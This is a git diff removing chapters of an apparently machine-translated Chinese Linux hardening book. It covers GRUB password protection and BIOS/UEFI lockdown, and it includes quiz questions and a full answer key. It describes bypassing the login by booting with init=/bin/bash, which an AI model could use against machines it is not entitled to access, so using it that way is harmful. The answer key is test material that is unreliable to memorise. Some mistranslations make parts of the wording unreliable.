restorecon /etc/shadow -sudo setenforce 1 -``` - -下面是我的`shadow`文件前后的上下文设置截图: - -![](img/6c9f2d71-fcd3-447b-8ab6-bb7a5298a379.png) - -这里可以看到重置密码将文件的类型改为`unlabeled_t`。运行`restorecon`命令将类型改回`shadow_t`。 - -您已经完成了本实验,祝贺您! - -现在,我们将看看 Ubuntu 的相同过程。 - -# 动手实验-重置 Ubuntu 的密码 - -在 Ubuntu 系统上重置密码的过程有很大的不同,也很简单。然而,在 Ubuntu 16.04 和 Ubuntu 18.04 上这样做有一个细微的区别。也就是说,要在 Ubuntu 16.04 上看到引导菜单,你什么都不用做。在 Ubuntu 18.04 上,您必须按下 *Shift* 键(在基于 BIOS 的系统上)或 *Esc* 键(在基于 UEFI 的系统上)才能看到引导菜单。让我们开始吧: - -1. 启动虚拟机。在 Ubuntu 18.04 上,根据情况按下 *Shift* 键或 *Esc* 键,调出启动菜单。按一次向下箭头键以中断引导过程。然后,按一次向上箭头键选择默认引导选项。 -2. 点击 *E* 键编辑内核参数: - -![](img/610f4e08-6693-4939-824f-f53d1eed79b4.png) - -3. 当 GRUB 2 配置出现时,光标向下,直到您看到`linux`行: - -![](img/26ecfb83-60a9-43c1-bf42-084667256593.png) - -4. 将`ro`改为`rw`,增加`init=/bin/bash`: - -![](img/cd9fb65b-1aa1-4f1a-a3d2-e89ada433480.png) - -5. 按 *Ctrl* + *X* 继续开机。这将把你带到一个根外壳: - -![](img/ef3c50fc-d3da-4a14-bece-80a1786c10b6.png) - -6. 由于 Ubuntu 通常不会为根用户分配密码,因此您很可能只需重置拥有完全 sudo 权限的用户的密码,如下所示: - -```sh -passwd donnie -``` - -7. 当您处于这种模式时,正常的重启命令将不起作用。因此,完成密码重置操作后,请通过输入以下内容重新启动: - -```sh -exec /sbin/init -``` - -机器现在将启动正常运行。 - -您已经完成了本实验,祝贺您! - -当然,我们不希望每个人和他的兄弟都能在启动机器时编辑内核参数。让我们解决这个问题。 - -# 防止在红帽/中央操作系统上编辑内核参数 - -自从红帽/CentOS 7.2 推出以来,设置 GRUB 2 密码以防止内核参数编辑变得很容易。您所要做的就是运行一个命令并选择一个密码: - -```sh -[donnie@localhost ~]$ sudo grub2-setpassword - -[sudo] password for donnie: -Enter password: -Confirm password: -[donnie@localhost ~]$ -``` - -仅此而已。密码哈希将存储在`/boot/grub2/user.cfg`文件中。 - -现在,当您重新启动机器并尝试编辑内核参数时,系统会提示您输入用户名和密码: - -![](img/2f9c58ee-0af7-4ea4-9dc3-9d66948edc6f.png) - -请注意,您将输入`root`作为用户名,即使系统上没有设置根用户的密码。`root`用户,在这种情况下,只是 GRUB 2 的超级用户。 - -# 防止 Ubuntu 上的内核参数编辑 - -Ubuntu 没有 Red Hat 和 CentOS 那样酷的实用程序,所以你必须通过手动编辑配置文件来设置 GRUB 2 密码。 - -在`/etc/grub.d/`目录中,您将看到组成 GRUB 2 配置的文件: - -```sh -donnie@ubuntu3:/etc/grub.d$ ls -l -total 76 --rwxr-xr-x 1 root root 9791 Oct 12 16:48 00_header --rwxr-xr-x 1 root root 6258 Mar 15 2016 05_debian_theme --rwxr-xr-x 1 root root 12512 Oct 12 16:48 10_linux --rwxr-xr-x 1 root root 11082 Oct 12 16:48 20_linux_xen --rwxr-xr-x 1 root root 11692 Oct 12 16:48 30_os-prober --rwxr-xr-x 1 root root 1418 Oct 12 16:48 30_uefi-firmware --rwxr-xr-x 1 root root 214 Oct 12 16:48 40_custom --rwxr-xr-x 1 root root 216 Oct 12 16:48 41_custom --rw-r--r-- 1 root root 483 Oct 12 16:48 README -donnie@ubuntu3:/etc/grub.d$ -``` - -您要编辑的文件是`40_custom`文件。但是,在编辑文件之前,您需要创建密码哈希。使用`grub-mkpasswd-pbkdf2`实用程序进行操作: - -```sh -donnie@ubuntu3:/etc/grub.d$ grub-mkpasswd-pbkdf2 -Enter password: -Reenter password: -PBKDF2 hash of your password is grub.pbkdf2.sha512.10000.F1BA16B2799CBF6A6DFBA537D43222A0D5006124ECFEB29F5C81C9769C6C3A66BF53C2B3AB71BEA784D4386E86C991F7B5D33CB6C29EB6AA12C8D11E0FFA0D40.371648A84CC4131C3CFFB53604ECCBA46DA75AF196E970C98483385B0BE026590C63A1BAC23691517BC4A5D3EDF89D026B599A0D3C49F2FB666F9C12B56DB35D -donnie@ubuntu3:/etc/grub.d$ -``` - -在您最喜欢的编辑器中打开`40_custom`文件,并添加一行定义谁是超级用户。为密码哈希添加另一行。在我的例子中,文件现在看起来像这样: - -```sh -#!/bin/sh -exec tail -n +3 $0 -# This file provides an easy way to add custom menu entries. Simply type the -# menu entries you want to add after this comment. Be careful not to change -# the 'exec tail' line above. - -set superusers="donnie" - -password_pbkdf2 donnie grub.pbkdf2.sha512.10000.F1BA16B2799CBF6A6DFBA537D43222A0D5006124ECFEB29F5C81C9769C6C3A66BF53C2B3AB71BEA784D4386E86C991F7B5D33CB6C29EB6AA12C8D11E0FFA0D40.371648A84CC4131C3CFFB53604ECCBA46DA75AF196E970C98483385B0BE026590C63A1BAC23691517BC4A5D3EDF89D026B599A0D3C49F2FB666F9C12B56DB35D - -``` - -The string of text that begins with `password_pbkdf2` is all one line that wraps around on the printed page. - -保存文件后,最后一步是生成新的`grub.cfg`文件: - -```sh -donnie@ubuntu3:/etc/grub.d$ sudo update-grub - -Generating grub configuration file ... -Found linux image: /boot/vmlinuz-4.4.0-104-generic -Found initrd image: /boot/initrd.img-4.4.0-104-generic -Found linux image: /boot/vmlinuz-4.4.0-101-generic -Found initrd image: /boot/initrd.img-4.4.0-101-generic -Found linux image: /boot/vmlinuz-4.4.0-98-generic -Found initrd image: /boot/initrd.img-4.4.0-98-generic -done -donnie@ubuntu3:/etc/grub.d$ -``` - -现在,当我重新启动这台机器时,我必须在编辑内核参数之前输入密码: - -![](img/a03b2d68-e916-4597-8593-c074eb1da46a.png) - -这只有一个问题。这不仅会阻止除超级用户以外的任何人编辑内核参数,还会阻止除超级用户以外的任何人正常启动。是的,没错。即使是正常启动,Ubuntu 现在也需要您输入授权超级用户的用户名和密码。修复很容易,尽管一点也不优雅。 - -修复需要在`/boot/grub/grub.cfg`文件中插入一个单词。很简单,对吧?然而,这不是一个优雅的解决方案,因为你不应该手工编辑`grub.cfg`文件。在文件的顶部,我们可以看到: - -```sh -# DO NOT EDIT THIS FILE -# -# It is automatically generated by grub-mkconfig using templates -# from /etc/grub.d and settings from /etc/default/grub -# -``` - -这意味着每次我们做一些更新`grub.cfg`文件的事情时,我们对文件所做的任何手工编辑都将丢失。这包括当我们进行安装新内核的系统更新时,或者当我们进行删除不再需要的旧内核的`sudo apt autoremove`时。然而,最具讽刺意味的是,官方 GRUB 2 文档告诉我们手工编辑`grub.cfg`文件来处理这些问题。 - -不管怎么说,要把事情弄好,让你不再需要输入密码就能正常开机,就在你喜欢的文本编辑器中打开`/boot/grub/grub.cfg`文件。寻找以`menuentry`开头的第一行,应该是这样的: - -```sh -menuentry 'Ubuntu' --class ubuntu --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-simple-f0f002e8-16b2-45a1-bebc-41e518ab9497' { -``` - -在行尾的左大括号前,添加`--unrestricted`作为文本字符串。`menuentry`现在应该是这样的: - -```sh -menuentry 'Ubuntu' --class ubuntu --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-simple-f0f002e8-16b2-45a1-bebc-41e518ab9497' --unrestricted { -``` - -保存文件并通过重启机器进行测试。您应该会看到,机器现在在默认启动选项下正常启动。但是,您还会看到,访问 Ubuntu 子菜单的高级选项仍然需要密码。我们会尽快解决这个问题。 - -# 密码保护启动选项 - -对于任何给定的 Linux 系统,您至少有两个引导选项。您可以选择正常启动,也可以选择进入恢复模式。红帽型和 Ubuntu 型操作系统是独一无二的,因为当你更新操作系统时,它们不会覆盖旧的内核。相反,他们在安装旧内核的同时安装新内核,所有安装的内核都有自己的引导菜单条目。在红帽类型的系统上,安装的内核永远不会超过五个,因为一旦安装了五个内核,最旧的内核将在下次系统更新中有新内核可用时自动删除。对于 Ubuntu 类型的系统,您需要通过运行`sudo apt autoremove`手动删除旧内核。 - -您也可能有双引导或多引导配置,并且您可能只希望某些用户使用某些引导选项。假设您有一个同时安装了 Windows 和 Linux 的系统,并且您希望防止某些用户启动到其中一个系统。您可以通过配置 GRUB 2 来做到这一点,但您可能不会。我的意思是,无论如何登录操作系统都需要密码和用户帐户,所以为什么要这么麻烦呢? - -我能想到的最现实的情况是,如果你有一台安装在公共信息亭的电脑,这将是非常有用的。您不会希望普通公众将机器引导到恢复模式,这种技术将有助于防止这种情况。 - -这种技术在红帽型和 Ubuntu 型发行版上的工作原理基本相同,只有少数例外。最主要的是我们需要禁用 Ubuntu 机器上的子菜单。 - -# 禁用 Ubuntu 的子菜单 - -理论上,您可以通过将`GRUB_DISABLE_SUBMENU=true`放入`/etc/default/grub`文件,然后运行`sudo update-grub`来禁用 Ubuntu 子菜单。然而,我无法让它发挥作用,根据我的 DuckGo 搜索结果,其他人也是如此。因此,我们将手动编辑`/boot/grub/grub.cfg`文件来解决这个问题。 - -寻找出现在第一个`menuentry`项之后的`submenu`行。应该是这样的: - -```sh -submenu 'Advanced options for Ubuntu' $menuentry_id_option 'gnulinux-advanced-f0f002e8-16b2-45a1-bebc-41e518ab9497' { -``` - -注释掉那一行,使它看起来像这样: - -```sh -# submenu 'Advanced options for Ubuntu' $menuentry_id_option 'gnulinux-advanced-f0f002e8-16b2-45a1-bebc-41e518ab9497' { -``` - -向下滚动,直到看到下面一行: - -```sh -### END /etc/grub.d/10_linux ### -``` - -就在这条线上,你会看到`submenu`小节的右花括号。注释掉大括号,使它看起来像这样: - -```sh -# } -``` - -现在,当您重新启动机器时,您将看到引导选项的完整列表,而不仅仅是默认的引导选项和子菜单。然而,就目前的情况来看,除了默认选项之外,只有指定的超级用户才能启动任何东西。 - -# Ubuntu 和红帽的密码保护引导选项步骤 - -从现在开始,CentOS 和 Ubuntu 虚拟机的步骤都是相同的,除了以下几点: - -* 在你的 Ubuntu 机器上,`grub.cfg`文件在`/boot/grub/`目录下。在你的电脑上,它在`/boot/grub2/`目录中。 -* 在 Ubuntu 上,`/boot/grub/`和`/etc/grub.d/`目录是世界可读的。这意味着你可以以普通用户的身份`cd`进入他们。 -* 在 CentOS 上,`/boot/grub2/`和`/etc/grub.d/`目录仅限于根用户。所以,要想让`cd`进入它们,你需要登录到根用户的外壳。或者,您可以使用`sudo ls -l`从您的普通用户外壳中列出内容,并且可以使用`sudo vim /boot/grub2/grub.cfg`或`sudo vim /etc/grub.d/40_custom`编辑您需要编辑的文件。(用你喜欢的编辑器代替`vim`。) -* 在 Ubuntu 上,创建密码哈希的命令是`grub-mkpasswd-pbkdf2`。在 CentOS 上,命令是`grub2-mkpasswd-pbkdf2`。 - -考虑到这些细微的差别,让我们开始吧。 - -If you're working with a server that's just running with a text-mode interface, you'll definitely want to log in remotely from a workstation that has a GUI-type interface. If your workstation is running Windows, you can use Cygwin, as I showed you in [Chapter 1](01.html), *Running Linux in a Virtual Environment*. The reason for this is that you'll want a way to copy and paste the password hashes into the two files that you need to edit. - -您要做的第一件事是为新用户创建密码哈希: - -* 在 Ubuntu 上,使用以下命令: - -```sh -grub-mkpasswd-pbkdf2 -``` - -* 在 CentOS 上,使用以下命令: - -```sh -grub2-mkpasswd-pbkdf2 -``` - -接下来,在文本编辑器中打开`/etc/grub.d/40_custom`文件,为新用户添加一行,以及您刚刚创建的密码哈希。该行应该如下所示: - -```sh -password_pbkdf2 goldie grub.pbkdf2.sha512.10000.225205CBA2584240624D077ACB84E86C70349BBC00DF40A219F88E5691FB222DD6E2F7765E96C63C4A8FA3B41BDBF62DA1F3B07C700D78BC5DE524DCAD9DD88B.9655985015C3BEF29A7B8E0A6EA42599B1152580251FF99AA61FE68C1C1209ACDCBBBDAA7A97D4FC4DA6984504923E1449253024619A82A57CECB1DCDEE53C06 -``` - -请注意,这是打印页面上环绕的一行。 - -接下来你应该做的是运行一个实用程序,它将读取`/etc/grub.d/`目录中的所有文件以及`/etc/default/grub`文件。这将重建`grub.cfg`文件。但是,在 CentOS 上,该实用程序无法正常工作。在 Ubuntu 上,它确实可以正常工作,但是它会覆盖您可能已经对`grub.cfg`文件所做的任何更改。所以,我们要作弊。 - -在文本编辑器中打开`grub.cfg`文件: - -* 在 Ubuntu 上,使用以下命令: - -```sh -sudo vim /boot/grub/grub.cfg -``` - -* 在 CentOS 上,使用以下命令: - -```sh -sudo vim /boot/grub2/grub.cfg -``` - -向下滚动,直到看到`### BEGIN /etc/grub.d/40_custom ###`部分。在本节中,复制并粘贴您刚刚添加到`40_custom`文件中的行。这一部分现在应该如下所示: - -```sh -### BEGIN /etc/grub.d/40_custom ### -# This file provides an easy way to add custom menu entries. Simply type the -# menu entries you want to add after this comment. Be careful not to change -# the 'exec tail' line above. -password_pbkdf2 "goldie" grub.pbkdf2.sha512.10000.225205CBA2584240624D077ACB84E86C70349BBC00DF40A219F88E5691FB222DD6E2F7765E96C63C4A8FA3B41BDBF62DA1F3B07C700D78BC5DE524DCAD9DD88B.9655985015C3BEF29A7B8E0A6EA42599B1152580251FF99AA61FE68C1C1209ACDCBBBDAA7A97D4FC4DA6984504923E1449253024619A82A57CECB1DCDEE53C06 -### END /etc/grub.d/40_custom ### -``` - -最后,您可以用密码保护单个菜单项了。在这里,我发现了 Ubuntu 和 CentOS 之间的另一个区别。 - -在 CentOS 的所有菜单项中,您会看到`--unrestricted`选项已经存在于所有菜单项中。这意味着,默认情况下,所有用户都可以启动每个菜单选项,即使您已经设置了超级用户密码: - -```sh -menuentry 'CentOS Linux (3.10.0-693.11.1.el7.x86_64) 7 (Core)' --class centos --class gnu-linux --class gnu --class os --unrestricted $menuentry_id_option 'gnulinux-3.10.0-693.el7.x86_64-advanced-f338b70d-ff57-404e-a349-6fd84ad1b692' { -``` - -因此,在 CentOS 上,如果您希望所有用户都能够使用所有可用的引导选项,那么您不必做任何事情。 - -现在,假设你有一个`menuentry`,你希望每个人都可以接触到它。在 CentOS 上,正如我刚才指出的,你什么都不用做。在 Ubuntu 上,将`--unrestricted`添加到`menuentry`,就像您之前所做的那样: - -```sh -menuentry 'Ubuntu' --class ubuntu --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-simple-f0f002e8-16b2-45a1-bebc-41e518ab9497' --unrestricted { -``` - -如果您希望除了超级用户之外没有人从特定选项启动,请添加`--users ""`(在 CentOS 上,请确保首先删除`--unrestricted`选项): - -```sh -menuentry 'Ubuntu, with Linux 4.4.0-98-generic (recovery mode)' --class ubuntu --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-4.4.0-98-generic-recovery-f0f002e8-16b2-45a1-bebc-41e518ab9497' --users "" { -``` - -如果您只希望超级用户和其他特定用户从某个选项启动,请添加`--users`,然后是用户名(同样,在 CentOS 上,首先删除`--unrestricted`选项): - -```sh -menuentry 'Ubuntu, with Linux 4.4.0-97-generic' --class ubuntu --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-4.4.0-97-generic-advanced-f0f002e8-16b2-45a1-bebc-41e518ab9497' --users goldie { -``` - -如果您有多个用户想要访问引导选项,请在`### BEGIN /etc/grub.d/40_custom ###`部分为新用户添加一个条目。然后,将新用户添加到您希望他或她访问的`menuentry`中。用逗号分隔用户名: - -```sh -menuentry 'Ubuntu, with Linux 4.4.0-97-generic' --class ubuntu --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-4.4.0-97-generic-advanced-f0f002e8-16b2-45a1-bebc-41e518ab9497' --users goldie,frank { -``` - -保存文件并重新启动以尝试不同的选项。 - -现在我们已经完成了所有这些工作,我需要再次提醒您,您对`grub.cfg`文件所做的任何手动编辑都将在新的`grub.cfg`文件生成时丢失。因此,每当您进行系统更新,包括安装或删除内核时,您都需要再次手动编辑该文件以添加密码保护。(事实上,我让你将用户及其密码添加到`/etc/grub.d/40_custom`文件中的唯一真正原因是,这样你就可以随时将这些信息复制并粘贴到`grub.cfg`中。)我希望有一种更优雅的方式来做到这一点,但是根据官方的 GRUB 2 文档,没有。 - -You'll find the security section of the official GRUB 2 documentation at [http://www.gnu.org/software/grub/manual/grub/grub.html#Security](http://www.gnu.org/software/grub/manual/grub/grub.html#Security). - -在我们离开这个话题之前,我想分享一下我对 GRUB 2 的个人想法。 - -有必要创建一个新版本的 GRUB,因为旧的遗留版本不能与新的基于 UEFI 的主板一起工作。然而,关于 GRUB 2 有一些事情非常令人失望。 - -首先,与传统的 GRUB 不同,GRUB 2 并不是在所有的 Linux 发行版中都一致实现的。事实上,我们刚刚在演示中看到,当我们从 CentOS 转向 Ubuntu 时,我们必须以不同的方式做事情。 - -接下来的事实是,GRUB 2 开发人员给了我们一些好的安全选项,但是他们没有给我们一个优雅的方法来实现它们。我是说,真的。告诉我们通过手动编辑一个每次更新操作系统时都会被覆盖的文件来实现安全特性的想法似乎并不正确。 - -最后,还有 GRUB 2 文档的糟糕状态。我不想听起来像是在自吹自擂,因为我知道那不合适。然而,我认为可以肯定地说,这是您在任何地方都能找到的使用 GRUB 2 密码保护功能的唯一一篇全面的文章。 - -现在,你可能比你认识的大多数人都更了解 GRUB 2。接下来,我们将讨论锁定 BIOS/UEFI 设置。 - -# 安全配置 BIOS/UEFI - -这个主题不同于我们到目前为止看到的任何内容,因为它与操作系统无关。相反,我们现在要谈的是计算机硬件。 - -每个计算机主板都有一个基本输入输出系统或一个 UEFI 芯片,它存储计算机的硬件配置和开机后启动引导过程所需的引导指令。UEFI 已经取代了新主板上的老式 BIOS,它比旧 BIOS 具有更多的安全功能。 - -我不能给你任何关于 BIOS/UEFI 设置的具体信息,因为每个型号的主板都有不同的做事方式。我能给你的是一些更一般化的信息。 - -当您考虑 BIOS/UEFI 安全性时,您可能会考虑禁用从正常系统驱动器以外的任何设备启动的功能。在下面的截图中,您可以看到我已经禁用了除系统驱动器连接的端口之外的所有 SATA 驱动器端口: - -![](img/9129ae9e-a2c2-4e7d-a5a1-e17de57caa93.png) - -当电脑在公众可以轻松接触到的地方时,这可能是一个考虑因素。对于被锁在自己的安全房间里且访问受限的服务器,没有真正的理由担心这一点,除非某些监管机构的安全要求另有规定。对于在户外的机器,加密整个磁盘可以防止有人在从光盘或 USB 设备启动后窃取数据。但是,您可能仍有其他理由阻止任何人从这些备用启动设备启动机器。 - -另一个考虑因素可能是,您是否在处理超敏感数据的安全环境中工作。如果您担心敏感数据未经授权的泄露,您可以考虑禁用向 USB 设备写入的功能。这也将防止人们从 USB 设备启动机器: - -![](img/71a828a2-fb34-44c7-9748-a58533969071.png) - -然而,BIOS/UEFI 安全不仅仅是这样。当今的现代服务器 CPU 具有多种安全功能,有助于防止数据泄露。例如,让我们看一下在英特尔至强处理器中实现的安全特性列表: - -* 身份保护技术 -* 高级加密标准新说明 -* 可信执行技术 -* 硬件辅助虚拟化技术 - -AMD,CPU 市场上勇敢失败者,在他们新的 EPYC 服务器 CPU 系列中有他们自己新的安全特性。这些功能包括以下内容: - -* 安全内存加密 -* 安全加密虚拟化 - -在任何情况下,您都可以在服务器的 UEFI 设置实用程序中配置这些 CPU 安全选项。 - -You can read about Intel Xeon security features at [https://www.intel.com/content/www/us/en/data-security/security-overview-general-technology.html](https://www.intel.com/content/www/us/en/data-security/security-overview-general-technology.html). - -您可以在[https://semi accurate . com/2017/06/22/amds-epyc-major-advance-security/](https://semiaccurate.com/2017/06/22/amds-epyc-major-advance-security/)上了解 AMD EPYC 的安全功能。 - -当然,对于任何公开的机器,对 BIOS 或 UEFI 进行密码保护是个好主意: - -![](img/d4e29c9b-fe44-4251-99d8-03c0229210c1.png) - -如果没有其他原因,就不要让别人乱搞你的设置。 - -现在您已经对锁定 BIOS/UEFI 有所了解,让我们来谈谈安全清单。 - -# 使用安全清单进行系统设置 - -之前,我告诉过你 OpenSCAP,它是一个非常有用的工具,只需要很少的努力就可以锁定你的系统。OpenSCAP 附带了各种配置文件,您可以应用它们来帮助您的系统符合不同监管机构的标准。然而,有些事情是 OpenSCAP 不能为你做的。例如,某些管理机构要求以某种方式对服务器的硬盘进行分区,将某些目录划分到它们自己的分区中。如果您已经将服务器设置为所有东西都在一个大分区下,那么仅仅通过使用 OpenSCAP 执行修复程序是无法解决这个问题的。锁定服务器以确保其符合任何适用的安全法规的过程必须在您安装操作系统之前开始。为此,您需要适当的清单。 - -有几个不同的地方,你可以获得一个通用的安全清单,如果这就是你所需要的。德克萨斯大学奥斯汀分校发布了红帽企业版 Linux 7 的通用清单,如果需要与 CentOS 7、Oracle Linux 7 或 Scientific Linux 7 一起使用,可以对清单进行调整。 - -您可能会发现有些清单项目不适合您的情况,您可以根据需要进行调整: - -![](img/799442a7-14f2-4637-a69d-9f74b7c5b03f.png) - -对于特定的业务领域,您需要从适用的监管机构获得一份清单。如果您在金融部门或接受信用卡支付的企业工作,您将需要支付卡行业安全标准委员会的清单: - -![](img/d8a2dcba-1603-4f39-bc08-6657b5f2f7b7.png) - -对于美国的医疗保健组织来说,HIPAA 有其要求。对于美国这里的上市公司,有萨班斯-奥克斯利法案及其要求。 - -You can get the University of Texas checklist at [https://wikis.utexas.edu/display/ISO/Operating+System+Hardening+Checklists](https://wikis.utexas.edu/display/ISO/Operating+System+Hardening+Checklists). - -您可以在[https://www.pcisecuritystandards.org/](https://www.pcisecuritystandards.org/)获得 PCI-DSS 检查表。 - -您可以在[https://www . hhs . gov/HIPAA/for-professional/security/guidelines/cyber security/index . html](https://www.hhs.gov/hipaa/for-professionals/security/guidance/cybersecurity/index.html)获得一份 HIPAA 清单 - -您可以在[http://www . Sarbanes-Oxley-101 . com/Sarbanes-Oxley-checklist . htm](http://www.sarbanes-oxley-101.com/sarbanes-oxley-checklist.htm)上获得一份 Sarbanes-Oxley 核对表。 - -其他监管机构可能也有自己的清单。如果你知道你必须处理其中的任何一个,一定要拿到合适的清单。 - -# 摘要 - -我们又一次得出了另一章的结论,涵盖了很多很酷的话题。我们从查看各种审计系统上运行的服务的方法开始,我们看到了一些您可能不想看到的例子。然后我们看到了如何使用 GRUB 2 的密码保护功能,我们还看到了使用这些功能时必须处理的一些小怪癖。接下来,我们改变了节奏,研究如何通过正确设置系统的基本输入输出系统/用户界面来进一步锁定系统。最后,我们研究了为什么我们需要通过获取和遵循适当的清单来开始准备建立一个加固的系统。 - -这不仅结束了另一章,也结束了这本书。然而,这并不能结束你进入*掌握 Linux 安全性和加固*的旅程。哦,不。当你继续这个旅程时,你会发现还有更多要学的,还有更多不适合仅仅一本书的限制。您将从这里走向何方主要取决于您所从事的特定信息技术管理领域。不同类型的 Linux 服务器,无论是 web 服务器、DNS 服务器还是其他什么,都有自己特殊的安全要求,您会希望遵循最适合您需求的学习路径。 - -我很享受能陪你旅行的那部分。我希望你和我一样喜欢它。 - -# 问题 - -1. 您需要查看正在侦听传入连接的网络服务列表。您会使用以下哪个命令? - a .`sudo systemctl -t service --state=active`T5】b .`netstat -i`T6】c .`netstat -lp -A inet`T7】d .`sudo systemctl -t service --state=listening` -2. 您会使用以下哪个命令来仅查看已建立的 TCP 连接列表? - a .`netstat -p -A inet`T5】b .`netstat -lp -A inet`T6】c .`sudo systemctl -t service --state=connected`T7】d .`sudo systemctl -t service --state=active` - -3. 当 Nmap 告诉您某个端口处于打开状态时,这意味着什么? - A .防火墙上端口打开。 - B .防火墙上的端口是打开的,并且与该端口相关联的服务正在运行。 - C .该港口可通过互联网进入。 - D .端口的访问控制列表设置为打开。 -4. 您最有可能使用这些 Nmap 扫描选项中的哪一个来扫描打开的 TCP 端口? - a .`-sn`T5】b .`-sU`T6】c .`-sS`T7】d .`-sA` -5. 在 CentOS 机器上重置根用户密码时,您想做什么? - 答:确保设备处于强制模式。 - B .确保 SELinux 处于强制模式。 - C .确保 AppArmor 处于投诉模式。 - D .确保 SELinux 处于许可模式。 -6. 发现模式在 Nmap 中是如何工作的? - A .它通过向网络的广播地址发送 ping 数据包来发现网络设备。 - B .它通过向网络的广播地址发送 SYN 数据包来发现网络设备。 - C .它为本地网络发送 ARP 数据包,为远程网络发送 ping 数据包。 - D .它向本地网络发送 ping 数据包,向远程网络发送 ARP 数据包。 -7. 您希望使用 Nmap 对整个子网执行 UDP 端口扫描。您会使用以下哪个命令? - a .`sudo nmap -sU 192.168.0.0`T5】b .`sudo nmap -U 192.168.0.0`T6】c .`sudo nmap -U 192.168.0.0/24`T7】d .`sudo nmap -sU 192.168.0.0/24` - -8. 在带有 GRUB2 的机器上,为了设置密码保护选项,您会编辑以下哪些文件? - a .`menu.lst`T6】b .`grub.conf`T7】c .`grub.cfg`T8】d .`grub2.cfg`T9】e .`grub2.conf` -9. 你将如何开始加固一个新的计算机系统的过程? - A .安装操作系统时应用 OpenSCAP 配置文件。 - B .按照清单开始初始设置。 - C .安装操作系统,然后应用 OpenSCAP 配置文件。 - D .安装操作系统,然后遵循加固清单。 -10. 在 CentOS 服务器上,在启动期间编辑内核参数之前,您最有可能做什么来强制用户输入密码? - A .进入`sudo grub2-password`命令。 - B .手动编辑 grub 配置文件。 - C .进入`sudo grub2-setpassword`命令。 - D .进入`sudo grub-setpassword`命令。 - E .进入`sudo grub-password`命令。 - -# 进一步阅读 - -* netstat–简单教程:[https://openmaniak.com/netstat.php](https://openmaniak.com/netstat.php) -* 找到哪个进程正在监听特定端口的四种方法:[https://www.putorius.net/process-listening-on-port.html](https://www.putorius.net/process-listening-on-port.html) -* Nmap 官方网站:[https://nmap.org/](https://nmap.org/) -* GNU GRUB 手册:[https://www.gnu.org/software/grub/manual/grub/grub.html](https://www.gnu.org/software/grub/manual/grub/grub.html) -* 如何引导 Ubuntu 18.04 进入应急救援模式:[https://linuxconfig . org/如何引导-Ubuntu-18-04-进入应急救援模式](https://linuxconfig.org/how-to-boot-ubuntu-18-04-into-emergency-and-rescue-mode) -* 如何在 Ubuntu 18.04 上查看 grub 引导菜单:[https://askubuntu . com/questions/16042/引导时如何进入 GRUB 菜单](https://askubuntu.com/questions/16042/how-to-get-to-the-grub-menu-at-boot-time) \ No newline at end of file diff --git a/docs/master-linux-sec-hard/15.md b/docs/master-linux-sec-hard/15.md deleted file mode 100644 index 0f061a24..00000000 --- a/docs/master-linux-sec-hard/15.md +++ /dev/null @@ -1,178 +0,0 @@ -# 十五、答案 - -# 第一章 - -1. B -2. C -3. B - -# 第二章 - -1. C -2. D -3. `/etc/security/pwquality.conf` -4. 077 -5. 将`DIR_MODE`设置更改为`DIR_MODE=0700`。 -6. 忘记使用定期过期的复杂密码,而是使用一个长且易于记忆的永不过期的密码短语。 -7. B -8. D -9. D -10. 甲、丁 -11. C -12. B -13. B -14. C -15. D - -# 第三章 - -1. C -2. D -3. B.对于某些事情,您需要手工编辑`/etc/ufw`目录中的配置文件。 -4. `sudo iptables -L -v`。 -5. D -6. B -7. 乙、丙、丁、己 - -# 第四章 - -1. `sudo nft list ruleset`。 -2. RHEL 7 及其后代使用 iptables 引擎作为 firewalld 的后端。RHEL 及其后代使用 nftables。 -3. nftables。 -4. D -5. A -6. C -7. C -8. A - -# 第五章 - -1. B -2. C -3. D -4. C -5. D -6. 丙、丁 -7. A - -# 第六章 - -1. C -2. 乙、丙、戊 -3. A -4. B -5. 碳、氟 -6. C -7. D -8. A -9. D -10. C - -# 第七章 - -1. C -2. D -3. C -4. B -5. A -6. A -7. C -8. D -9. C -10. D -11. A -12. B.一些配置文件,如`/etc/resolv.conf`文件,必须是世界可读的,系统才能正常运行。 -13. B. -14. 乙、丙 - -# 第八章 - -1. A -2. C -3. B -4. D -5. A -6. 甲,丙 -7. B -8. D -9. C -10. A - -# 第九章 - -1. C -2. A -3. C -4. C -5. D -6. B -7. A -8. A -9. D -10. D - -# 第十章 - -1. C -2. B -3. D -4. A -5. A -6. D -7. B -8. B -9. C -10. D - -# 破产重组保护 - -1. C -2. B -3. B -4. C -5. D -6. D -7. C -8. A -9. B -10. D - -# 第十二章 - -1. 丙、戊 -2. D -3. B -4. A -5. C -6. 甲、丁 -7. `/etc/aliases` -8. `sudo newaliases` -9. B.您只能为服务器创建证书。 -10. B - -# 第十三章 - -1. C -2. B -3. B -4. A -5. C -6. A -7. C -8. B -9. C -10. C -11. D - -# 第十四章 - -1. C -2. A -3. B -4. C -5. D -6. C -7. D -8. C -9. B -10. C \ No newline at end of file diff --git a/docs/master-linux-sec-hard/README.md b/docs/master-linux-sec-hard/README.md deleted file mode 100644 index 29950be2..00000000 --- a/docs/master-linux-sec-hard/README.md +++ /dev/null @@ -1,67 +0,0 @@ -# 精通 Linux 安全和加固 - -> 原文:[Mastering Linux Security and Hardening](https://libgen.rs/book/index.php?md5=FE09B081B50264BD581CF4C8AD742097) -> -> 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) -> -> 阶段:机翻(1) -> -> 自豪地采用[谷歌翻译](https://translate.google.cn/) -> -> 这世界上有一种鸟是没有脚的,它只能够一直的飞呀飞呀,飞累了就在风里面睡觉,这种鸟一辈子只能下地一次,那一次就是它死亡的时候。——《阿飞正传》 - -* [在线阅读](https://linux.apachecn.org) -* [在线阅读(Gitee)](https://apachecn.gitee.io/apachecn-linux-zh/) -* [ApacheCN 学习资源](http://docs.apachecn.org/) - -## 目录 - -+ [笨办法学 Linux 中文版](docs/llthw-zh/SUMMARY.md) - -## 贡献指南 - -本项目需要校对,欢迎大家提交 Pull Request。 - -> 请您勇敢地去翻译和改进翻译。虽然我们追求卓越,但我们并不要求您做到十全十美,因此请不要担心因为翻译上犯错——在大部分情况下,我们的服务器已经记录所有的翻译,因此您不必担心会因为您的失误遭到无法挽回的破坏。(改编自维基百科) - -## 联系方式 - -### 负责人 - -* [飞龙](https://github.com/wizardforcel): 562826179 - -### 其他 - -* 